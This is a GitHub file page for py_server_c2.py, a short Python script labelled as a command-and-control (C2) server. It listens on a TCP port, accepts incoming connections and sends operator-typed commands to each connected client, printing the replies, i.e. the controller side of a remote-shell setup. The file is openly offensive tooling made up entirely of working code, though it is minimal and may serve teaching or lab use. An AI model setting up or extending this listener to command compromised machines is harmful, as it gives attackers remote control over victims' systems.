-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathpy_server_c2.py
31 lines (24 loc) · 974 Bytes
/
py_server_c2.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import socket
import argparse
def start_server(host, port):
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind((host, port))
server.listen(5)
print(f"Server listening on {host}:{port}")
while True:
conn, addr = server.accept()
print(f"Connection established from {addr}")
while True:
command = input("Enter command: ")
conn.send(command.encode())
if command.lower() == 'exit':
break
data = conn.recv(1024).decode()
print(f"Received: {data}")
conn.close()
if __name__ == "__main__":
parser = argparse.ArgumentParser(description='Start C2 Server')
parser.add_argument('--host', default='127.0.0.1', help='Server host (default: 127.0.0.1)')
parser.add_argument('--port', type=int, default=12345, help='Server port number (default: 12345)')
args = parser.parse_args()
start_server(args.host, args.port)